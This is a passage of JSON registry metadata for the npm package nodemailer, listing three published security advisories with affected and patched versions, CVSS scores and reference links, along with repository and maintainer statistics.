problem.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-01-31T22:42:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-9h6g-pr28-7cqp","https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6","https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698","https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a","https://github.com/advisories/GHSA-9h6g-pr28-7cqp"],"source_kind":"github","identifiers":["GHSA-9h6g-pr28-7cqp"],"repository_url":"https://github.com/nodemailer/nodemailer","blast_radius":0.0,"created_at":"2024-01-31T23:04:35.202Z","updated_at":"2026-10-26T21:11:38.385Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aDZnLXByMjgtN2NxcM4AA4-p","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05aDZnLXByMjgtN2NxcM4AA4-p","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"6.9.9","vulnerable_version_range":"\u003c= 6.9.8"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aDZnLXByMjgtN2NxcM4AA4-p/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh3cWYtZ2NxbS03MzUz","url":"https://github.com/advisories/GHSA-hwqf-gcqm-7353","title":"Header injection in nodemailer","description":"The package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-12-10T18:56:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23400","https://github.com/nodemailer/nodemailer/issues/1289","https://github.com/nodemailer/nodemailer/commit/7e02648cc8cd863f5085bad3cd09087bccf84b9f","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1314737","https://snyk.io/vuln/SNYK-JS-NODEMAILER-1296415","https://github.com/advisories/GHSA-hwqf-gcqm-7353"],"source_kind":"github","identifiers":["GHSA-hwqf-gcqm-7353","CVE-2021-23400"],"repository_url":"https://github.com/nodemailer/nodemailer","blast_radius":0.0,"created_at":"2022-12-21T16:12:58.111Z","updated_at":"2026-10-29T20:17:13.645Z","epss_percentage":0.01392,"epss_percentile":0.71512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh3cWYtZ2NxbS03MzUz","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh3cWYtZ2NxbS03MzUz","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"6.6.1","vulnerable_version_range":"\u003c 6.6.1"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh3cWYtZ2NxbS03MzUz/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQ4d3ctajRmYy00MzVw","url":"https://github.com/advisories/GHSA-48ww-j4fc-435p","title":"Command injection in nodemailer","description":"This affects the package nodemailer before 6.4.16. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-05-10T19:16:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-7769","https://github.com/nodemailer/nodemailer/commit/ba31c64c910d884579875c52d57ac45acc47aa54","https://github.com/nodemailer/nodemailer/blob/33b62e2ea6bc9215c99a9bb4bfba94e2fb27ebd0/lib/sendmail-transport/index.js#L75","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1039742","https://snyk.io/vuln/SNYK-JS-NODEMAILER-1038834","https://www.npmjs.com/package/nodemailer","https://github.com/nodemailer/nodemailer/blob/33b62e2ea6bc9215c99a9bb4bfba94e2fb27ebd0/lib/sendmail-transport/index.js%23L75","https://github.com/advisories/GHSA-48ww-j4fc-435p"],"source_kind":"github","identifiers":["GHSA-48ww-j4fc-435p","CVE-2020-7769"],"repository_url":"https://github.com/nodemailer/nodemailer","blast_radius":0.0,"created_at":"2022-12-21T16:13:06.941Z","updated_at":"2026-10-29T20:17:37.655Z","epss_percentage":0.02303,"epss_percentile":0.82721,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQ4d3ctajRmYy00MzVw","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQ4d3ctajRmYy00MzVw","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"6.4.16","vulnerable_version_range":"\u003c 6.4.16"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQ4d3ctajRmYy00MzVw/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/nodemailer","docker_dependents_count":3425,"docker_downloads_count":1417839243,"usage_url":"https://repos.ecosyste.ms/usage/npm/nodemailer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/nodemailer/dependencies","status":null,"funding_links":["https://github.com/sponsors/andris9","https://www.paypal.me/nodemailer"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-24T01:34:28.460Z","issues_count":324,"pull_requests_count":160,"avg_time_to_close_issue":3665650.7072368423,"avg_time_to_close_pull_request":863299.986013986,"issues_closed_count":304,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":297,"avg_comments_per_issue":4.308641975308642,"avg_comments_per_pull_request":0.75625,"merged_pull_requests_count":122,"bot_issues_count":0,"bot_pull_requests_count":77,"past_year_issues_count":15,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":1293005.857142857,"past_year_avg_time_to_close_pull_request":369658.1,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":70,"past_year_pull_request_authors_count":21,"past_year_issue_authors_count":14,"past_year_avg_comments_per_issue":2.066666666666667,"past_year_avg_comments_per_pull_request":0.6883116883116883,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":40,"past_year_merged_pull_requests_count":62,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/issues","maintainers":[{"login":"andris9","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/andris9"}],"active_maintainers":[{"login":"andris9","count":10,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/andris9"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nodemailer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nodemailer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nodemailer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nodemailer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nodemailer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nodemailer/codemeta","maintainers":[{"uuid":"andris","login":"andris","name":null,"email":"andris@kreata.ee","url":null,"packages_count":203,"html_url":"https://www.npmjs.com/~andris","role":null,"created_at":"2022-11-10T11:24:12.039Z","updated_at":"2022-11-10T11:24:12.039Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/andris/packages"}]}